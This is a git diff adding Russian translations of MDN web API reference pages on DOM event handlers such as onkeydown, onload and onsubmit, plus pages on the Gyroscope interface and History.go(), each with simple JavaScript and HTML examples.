diff --git a/files/ru/web/api/globaleventhandlers/onkeydown/index.html b/files/ru/web/api/globaleventhandlers/onkeydown/index.html
new file mode 100644
index 0000000000..48526391bb
--- /dev/null
+++ b/files/ru/web/api/globaleventhandlers/onkeydown/index.html
@@ -0,0 +1,84 @@
+---
+title: GlobalEventHandlers.onkeydown
+slug: Web/API/GlobalEventHandlers/onkeydown
+tags:
+  - API
+  - HTML DOM
+  - Свойство
+translation_of: Web/API/GlobalEventHandlers/onkeydown
+---
+<div>{{ApiRef("HTML DOM")}}</div>
+
+<p>Свойство <code><strong>onkeydown</strong></code> возвращает обработчик события {{event("keydown")}} на текущем элементе.</p>
+
+<p>Событие <code>keydown</code> вызывается, когда пользователь нажал клавишу на клавиатуре.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">element.onkeydown = <var>event handling code</var>
+</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>Имя функции <code>functionRef</code> или <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/function">function expression</a>. Функция получает объект {{domxref("KeyboardEvent")}} в качестве единственного аргумента.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Этот пример показывает значение {{domxref("KeyboardEvent.code")}}, когда вы нажимаете клавишу внутри элемента {{HtmlElement("input")}}.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;input&gt;
+&lt;p id="log"&gt;&lt;/p&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js notranslate">const input = document.querySelector('input');
+const log = document.getElementById('log');
+
+input.onkeydown = logKey;
+
+function logKey(e) {
+  log.textContent += ` ${e.code}`;
+}</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{EmbedLiveSample("Пример")}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','webappapis.html#handler-onkeydown','onkeydown')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{Compat("api.GlobalEventHandlers.onkeydown")}}</div>
+
+<h2 id="Смотите_также">Смотите также</h2>
+
+<div>
+<ul>
+ <li>Событие {{Event("keydown")}}</li>
+ <li>Похожие обработчики событий
+  <ul>
+   <li>{{domxref("GlobalEventHandlers.onkeypress")}}</li>
+   <li>{{domxref("GlobalEventHandlers.onkeyup")}}</li>
+  </ul>
+ </li>
+</ul>
+</div>
+
+<div id="compat-mobile"></div>
diff --git a/files/ru/web/api/globaleventhandlers/onkeypress/index.html b/files/ru/web/api/globaleventhandlers/onkeypress/index.html
new file mode 100644
index 0000000000..bb5a16e61b
--- /dev/null
+++ b/files/ru/web/api/globaleventhandlers/onkeypress/index.html
@@ -0,0 +1,53 @@
+---
+title: GlobalEventHandlers.onkeypress
+slug: Web/API/GlobalEventHandlers/onkeypress
+translation_of: Web/API/GlobalEventHandlers/onkeypress
+---
+<div>{{ApiRef("HTML DOM")}}</div>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Свойство<strong> onkeypress</strong> задаёт и возвращает код обработчика событий onKeyPress для текущего элемента.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">element.onkeypress = <em>код обработчика событий</em>
+</pre>
+
+<h2 id="Примечания">Примечания</h2>
+
+<p>Событие нажатия <strong>должно</strong> вызываться тогда, когда пользователь нажимает клавишу на клавиатуре. Тем не менее, не все браузеры отрабатывают это событие для некоторых (определённых) клавиш.</p>
+
+<h3 id="Несовместимость_в_браузерах">Несовместимость в браузерах</h3>
+
+<p>Браузеры на основе Webkit (к примеру, Google Chrome и Safari) не отрабатывают события нажатия клавиш-указателей ("стрелок").</p>
+
+<p>Firefox не отрабатывает события, в основе которых лежат клавиши управления (модификаторы) - такие, как, например, SHIFT.</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<p>Не является частью спецификации.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Следующий пример демонстрирует использование события <code>onkeypress</code>  в процессе заполнения поля формы (только) цифрами:</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /&gt;
+&lt;title&gt;Пример&lt;/title&gt;
+&lt;script&gt;
+  function numbersOnly(oToCheckField, oKeyEvent) {
+    return oKeyEvent.char === 0 || /\d/.test(String.fromCharCode(oKeyEvent.char));
+  }
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+&lt;form name="myForm"&gt;
+&lt;p&gt;Вводите только цифры: &lt;input type="text" name="myInput" onkeypress="return numbersOnly(this, event);" onpaste="return false;" /&gt;&lt;/p&gt;
+&lt;/form&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
diff --git a/files/ru/web/api/globaleventhandlers/onload/index.html b/files/ru/web/api/globaleventhandlers/onload/index.html
new file mode 100644
index 0000000000..7040dadfc4
--- /dev/null
+++ b/files/ru/web/api/globaleventhandlers/onload/index.html
@@ -0,0 +1,58 @@
+---
+title: GlobalEventHandlers.onload
+slug: Web/API/GlobalEventHandlers/onload
+translation_of: Web/API/GlobalEventHandlers/onload
+---
+<div>{{ ApiRef("HTML DOM") }}</div>
+
+<p>Обработчик для события загрузки объекта {{ domxref("window") }}.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="eval">window.onload = <em>funcRef</em>;
+</pre>
+
+<ul>
+ <li><code>funcRef</code> функция обработчик события будет вызвана, когда произойдёт событие загрузки окна.</li>
+</ul>
+
+<h2 id="Example" name="Example">Примеры</h2>
+
+<pre class="brush: js">window.onload = function() {
+  init();
+  doSomethingElse();
+};
+</pre>
+
+<pre class="brush: html">&lt;!doctype html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;title&gt;onload test&lt;/title&gt;
+    &lt;script&gt;
+      function load() {
+        alert("Событие загрузки поймано!");
+      }
+      window.onload = load;
+    &lt;/script&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    &lt;p&gt;Событие загрузки произойдёт, когда документ будет загружен!&lt;/p&gt;
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Notes" name="Notes">Заметки</h2>
+
+<p>Событие загрузки возникают в конце процесса загрузки документа. В этот момент все объекты документа находятся в DOM, и все картинки, скрипты, фреймы, ссылки загружены.</p>
+
+<p>Есть также <a href="/en/Gecko-Specific_DOM_Events" title="en/Gecko-Specific_DOM_Events">Gecko</a> события как <code>DOMContentLoaded</code> и <code>DOMFrameContentLoaded</code> (которые могут быть навешены с помощью {{ domxref("EventTarget.addEventListener()") }}) которые возникают после того как DOM для страницы будет собран, но не ждут, когда другие ресурсы будут загружены.</p>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<p>Этот обработчик события указан в стандарте <a class="external" href="http://www.whatwg.org/html/#handler-window-onload" title="http://www.whatwg.org/html/#handler-window-onload">HTML</a>.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><code>DOMContentLoaded</code> событие в <a href="/En/Listening_to_events#Simple_DOM.c2.a0events" title="En/Listening to events#Simple DOM.c2.a0events">Listening to events: Simple DOM events</a></li>
+</ul>
diff --git a/files/ru/web/api/globaleventhandlers/onloadend/index.html b/files/ru/web/api/globaleventhandlers/onloadend/index.html
new file mode 100644
index 0000000000..1c5f270054
--- /dev/null
+++ b/files/ru/web/api/globaleventhandlers/onloadend/index.html
@@ -0,0 +1,110 @@
+---
+title: GlobalEventHandlers.onloadend
+slug: Web/API/GlobalEventHandlers/onloadend
+translation_of: Web/API/GlobalEventHandlers/onloadend
+---
+<div>{{ApiRef}}</div>
+
+<p><span id="result_box" lang="ru"><span>Свойство</span></span> <strong><code>onloadend</code></strong>  <span id="result_box" lang="ru"><span>от </span></span>{{domxref("GlobalEventHandlers")}} примесь {{domxref("EventHandler")}} <span id="result_box" lang="ru"><span>передает код для вызова в момент возникновения события</span></span> {{event("loadend")}}  (когда процесс загрузки ресурса окончился и остановился)</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>img</var>.onloadend = <var>funcRef</var>;
+</pre>
+
+<p>При возникновении события  <code>loadend</code>  будет вызванна функция обработчик <code>funcRef</code>.</p>
+
+<h2 id="Example" name="Example">Примеры</h2>
+
+<pre class="brush: html">&lt;img src="myImage.jpg"&gt;</pre>
+
+<pre class="brush: js">// 'loadstart' fires first, then 'load', then 'loadend'
+
+image.addEventListener('load', function(e) {
+  console.log('Image loaded');
+});
+
+image.addEventListener('loadstart', function(e) {
+  console.log('Image load started');
+});
+
+image.addEventListener('loadend', function(e) {
+  console.log('Image load finished');
+});</pre>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "webappapis.html#handler-onloadend", "onloadend")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("52")}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("52")}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] As of Firefox 52, The <code>loadend</code> event is now fired on {{htmlelement("img")}} elements.</p>
diff --git a/files/ru/web/api/globaleventhandlers/onmousedown/index.html b/files/ru/web/api/globaleventhandlers/onmousedown/index.html
new file mode 100644
index 0000000000..39c6b2ee1c
--- /dev/null
+++ b/files/ru/web/api/globaleventhandlers/onmousedown/index.html
@@ -0,0 +1,94 @@
+---
+title: GlobalEventHandlers.onmousedown
+slug: Web/API/GlobalEventHandlers/onmousedown
+translation_of: Web/API/GlobalEventHandlers/onmousedown
+---
+<div>
+<div>{{ ApiRef("HTML DOM") }}</div>
+</div>
+
+<p>Свойство <code>onmousedown</code> возвращает  код обработчика события <code>onmousedown</code> на соответствующем элементе.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">element.onmousedown = <em>код обработчика этого события (функция)</em>
+</pre>
+
+<h2 id="Примечания">Примечания</h2>
+
+<p>Событие <code>mousedown</code> обрабатывается когда пользователь нажимает кнопку мыши. </p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','webappapis.html#handler-onmousedown','onmousedown')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Обычная соместимость</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Обычная совместимость</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/api/globaleventhandlers/onmouseup/index.html b/files/ru/web/api/globaleventhandlers/onmouseup/index.html
new file mode 100644
index 0000000000..9b802ee95e
--- /dev/null
+++ b/files/ru/web/api/globaleventhandlers/onmouseup/index.html
@@ -0,0 +1,94 @@
+---
+title: GlobalEventHandlers.onmouseup
+slug: Web/API/GlobalEventHandlers/onmouseup
+translation_of: Web/API/GlobalEventHandlers/onmouseup
+---
+<div>{{ApiRef("HTML DOM")}}</div>
+
+<p><span id="result_box" lang="ru"><span>Свойство <strong>onmouseup</strong> возвращает код обработчика события onMouseUp текущего элемента.</span></span></p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">element.onmouseup =  <span class="short_text" id="result_box" lang="ru"><span>код обработки событий</span></span>
+</pre>
+
+<h2 id="Notes">Notes</h2>
+
+<p><span id="result_box" lang="ru"><span>Событие mouseup возникает, когда пользователь отпускает кнопку мыши.</span></span></p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','webappapis.html#handler-onmouseup','onmouseup')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility">Browser Compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/api/globaleventhandlers/onscroll/index.html b/files/ru/web/api/globaleventhandlers/onscroll/index.html
new file mode 100644
index 0000000000..a62384b132
--- /dev/null
+++ b/files/ru/web/api/globaleventhandlers/onscroll/index.html
@@ -0,0 +1,80 @@
+---
+title: GlobalEventHandlers.onscroll
+slug: Web/API/GlobalEventHandlers/onscroll
+translation_of: Web/API/GlobalEventHandlers/onscroll
+---
+<div>{{ApiRef("HTML DOM")}}</div>
+
+<p>Обработчик для события скролла.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">element.onscroll = <var>functionReference</var>
+</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<p><code>functionReference</code> is a reference to a function to be executed when <code>element</code> is scrolled.</p>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+  &lt;head&gt;
+  &lt;meta charset="UTF-8" /&gt;
+  &lt;style&gt;
+  #container {
+    position: absolute;
+    height: auto;
+    top: 0;
+    bottom: 0;
+    width: auto;
+    left: 0;
+    right: 0;
+    overflow: auto;
+  }
+
+  #foo {
+    height:1000px;
+    width:1000px;
+    background-color: #777;
+    display: block;
+  }
+
+  &lt;/style&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    &lt;div id="container"&gt;
+      &lt;div id="foo"&gt;&lt;/div&gt;
+    &lt;/div&gt;
+
+    &lt;script type="text/javascript"&gt;
+      document.getElementById('container').onscroll = function() {
+        console.log("scrolling");
+      };
+    &lt;/script&gt;
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h2 id="Notes">Notes</h2>
+
+<p>The <code>scroll</code> event is raised when the user scrolls the contents of an element. <code>Element.onscroll</code> is equivalent to <code>element.addEventListener("scroll" ... )</code>.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM3 Events", "#event-type-scroll", "onscroll")}}</td>
+   <td>{{Spec2("DOM3 Events")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ru/web/api/globaleventhandlers/onselect/index.html b/files/ru/web/api/globaleventhandlers/onselect/index.html
new file mode 100644
index 0000000000..0244069e4d
--- /dev/null
+++ b/files/ru/web/api/globaleventhandlers/onselect/index.html
@@ -0,0 +1,72 @@
+---
+title: GlobalEventHandlers.onselect
+slug: Web/API/GlobalEventHandlers/onselect
+translation_of: Web/API/GlobalEventHandlers/onselect
+---
+<div>
+<div>{{ ApiRef("HTML DOM") }}</div>
+</div>
+
+<p>Обработчик события select окна браузера.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">window.onselect = <em>funcRef</em>;
+</pre>
+
+<ul>
+ <li><code>funcRef</code> - функция</li>
+</ul>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush: html">&lt;html&gt;
+&lt;head&gt;
+
+&lt;title&gt;onselect test&lt;/title&gt;
+
+&lt;style type="text/css"&gt;
+.text1 { border: 2px solid red; }
+&lt;/style&gt;
+
+&lt;script type="text/javascript"&gt;
+
+window.onselect = selectText;
+
+function selectText()
+{
+ alert("select event detected!");
+}
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+&lt;textarea class="text1" cols="30" rows="3"&gt;
+Highlight some of this text
+with the mouse pointer
+to fire the onselect event.
+&lt;/textarea&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Notes" name="Notes">Замечание</h2>
+
+<p>Событие select происходит только, когда текст выделяют в поле input с type='text' или в поле textarea. Событие происходит только после того, как текст будет выделен.</p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','webappapis.html#handler-onselect','onselect')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ru/web/api/globaleventhandlers/onsubmit/index.html b/files/ru/web/api/globaleventhandlers/onsubmit/index.html
new file mode 100644
index 0000000000..35b3a7d1f0
--- /dev/null
+++ b/files/ru/web/api/globaleventhandlers/onsubmit/index.html
@@ -0,0 +1,65 @@
+---
+title: GlobalEventHandlers.onsubmit
+slug: Web/API/GlobalEventHandlers/onsubmit
+translation_of: Web/API/GlobalEventHandlers/onsubmit
+---
+<div>{{ApiRef("HTML DOM")}}</div>
+
+<p>Обработчик события отправки формы</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="eval">window.onsubmit = <em>funcRef</em>;
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<ul>
+ <li><code>funcRef</code> – ссылка на функцию.</li>
+</ul>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="eval">&lt;html&gt;
+&lt;script&gt;
+function reg() {
+  window.captureEvents(Event.SUBMIT);
+  window.onsubmit = hit;
+}
+
+function hit() {
+  console.log('hit');
+}
+&lt;/script&gt;
+
+&lt;body onload="reg();"&gt;
+&lt;form&gt;
+  &lt;input type="submit" value="submit" /&gt;
+&lt;/form&gt;
+&lt;div id="d"&gt; &lt;/div&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Замечания">Замечания</h2>
+
+<p>Событие <code>submit</code> возникает, когда пользователь кликает на кнопку "Отправить" в форме (<code>&lt;input type="submit"/&gt;</code>)</p>
+
+<p>Событие <code>submit</code> не возникает, когда пользователь вызывает функцию <code>form.submit()</code> напрямую</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификации</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','webappapis.html#handler-onsubmit','onsubmit')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ru/web/api/gyroscope/index.html b/files/ru/web/api/gyroscope/index.html
new file mode 100644
index 0000000000..acb3658d59
--- /dev/null
+++ b/files/ru/web/api/gyroscope/index.html
@@ -0,0 +1,71 @@
+---
+title: Gyroscope
+slug: Web/API/Gyroscope
+translation_of: Web/API/Gyroscope
+---
+<div>{{APIRef("Gyroscope")}}</div>
+
+<p><span class="seoSummary"><strong><code>Gyroscope</code></strong> интерфейс <a href="/docs/Web/API/Sensor_APIs">Sensor API</a> дает возможность считать позицию устройства по всем трем осям.</span></p>
+
+<p>Для использования того сенсора пользователю нужно предоставить доступ устройства к <code>'gyroscope'</code> через {{domxref('Permissions')}} API.</p>
+
+<p>If a feature policy blocks use of a feature it is because your code is inconsistent with the policies set on your server. This is not something that would ever be shown to a user. See {{httpheader('Feature-Policy')}} for implementation instructions.</p>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<dl>
+ <dt>{{domxref("Gyroscope.Gyroscope()")}}</dt>
+ <dd>Создание нового <code>Gyroscope</code> объекта.</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt>{{domxref('Gyroscope.x')}} {{readonlyinline}}</dt>
+ <dd>Возвращает угловое отклонение устройства по оси X.</dd>
+ <dt>{{domxref('Gyroscope.y')}} {{readonlyinline}}</dt>
+ <dd>Возвращает угловое отклонение устройства по оси Y.</dd>
+ <dt>{{domxref('Gyroscope.z')}} {{readonlyinline}}</dt>
+ <dd>Возвращает угловое отклонение устройства по оси Z.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Гироскоп обычно использует {{domxref('Sensor.onreading')}} событие для вызова callback-функции. В примере ниже функция вызывается 6 раз в секуунду.</p>
+
+<pre class="brush: js">let gyroscope = new Gyroscope({frequency: 60});
+
+gyroscope.addEventListener('reading', e =&gt; {
+  console.log("Angular velocity along the X-axis " + gyroscope.x);
+  console.log("Angular velocity along the Y-axis " + gyroscope.y);
+  console.log("Angular velocity along the Z-axis " + gyroscope.z);
+});
+gyroscope.start();</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Generic Sensor')}}</td>
+   <td>{{Spec2('Generic Sensor')}}</td>
+   <td>Defines sensors in general.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Gyroscope','#gyroscope-interface','Gyroscope')}}</td>
+   <td>{{Spec2('Gyroscope')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("api.Gyroscope")}}</p>
diff --git a/files/ru/web/api/history/go/index.html b/files/ru/web/api/history/go/index.html
new file mode 100644
index 0000000000..6612072c73
--- /dev/null
+++ b/files/ru/web/api/history/go/index.html
@@ -0,0 +1,88 @@
+---
+title: History.go()
+slug: Web/API/History/go
+tags:
+  - API
+  - History API
+  - История
+  - Определение
+  - метод
+translation_of: Web/API/History/go
+---
+<div>{{APIRef("History API")}}</div>
+
+<p>Метод <strong><code>History.go()</code></strong> выполняет переход на определенную страницу в истории текущей сессии. С его помощью можно перемещаться как вперед, так и назад, в зависимости от значения параметра.</p>
+
+<p>Данный метод является {{glossary("asynchronous", "асинхронным")}}. Добавьте обработчик для события {{event("popstate")}}, чтобы определить, когда переход закончен.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">history.go([<em>delta</em>])</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>delta</code> {{optional_inline}}</dt>
+ <dd>Относительное положение в истории, куда вы хотите переместиться. Отрицательные значения перемещают назад, а положительные -- вперед. Например, <code>history.go(2)</code> перемещает вперед на 2 страницы, а <code>history.go(-2)</code> перемещает на 2 страницы назад. Если метод вызван без параметра или же <code>delta</code> равна 0, результат выполнения будет такой же, как у <code>location.reload()</code>.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Перемещение на 1 страницу назад (аналог вызова {{domxref("History.back", "back()")}}):</p>
+
+<pre class="brush: js line-numbers language-js notranslate"><code class="language-js">history<span class="punctuation token">.</span><span class="function token">go</span><span class="punctuation token">(</span><span class="operator token">-</span><span class="number token">1</span><span class="punctuation token">)</span></code></pre>
+
+<p>Перемещение на страницу вперед, как {{domxref("History.forward", "forward()")}}:</p>
+
+<pre class="brush: js line-numbers language-js notranslate"><code class="language-js">history<span class="punctuation token">.</span><span class="function token">go</span><span class="punctuation token">(</span><span class="number token">1</span><span class="punctuation token">)</span></code></pre>
+
+<p>Перемещение на 2 страницы вперед:</p>
+
+<pre class="brush: js notranslate">history.go(2);</pre>
+
+<p>Перемещение на 2 страницы назад:</p>
+
+<pre class="brush: js notranslate">history.go(-2);</pre>
+
+<p>Также, оба этих вызова перезагрузят страницу:</p>
+
+<pre class="brush: js notranslate">history.go();
+history.go(0);</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "history.html#dom-history-go", "History.go()")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Не отличается от {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "browsers.html#dom-history-go", "History.go()")}}</td>
+   <td>{{Spec2("HTML5 W3C")}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость">Совместимость</h2>
+
+
+
+<p>{{Compat("api.History.go")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("History")}}</li>
+ <li>{{DOMxRef("History.back","back()")}}</li>
+ <li>{{DOMxRef("History.forward","forward()")}}</li>
+ <li>{{event("popstate")}} event</li>
+ <li><a href="/en-US/docs/Web/API/History_API/Working_with_the_History_API">Working with the History API</a></li>
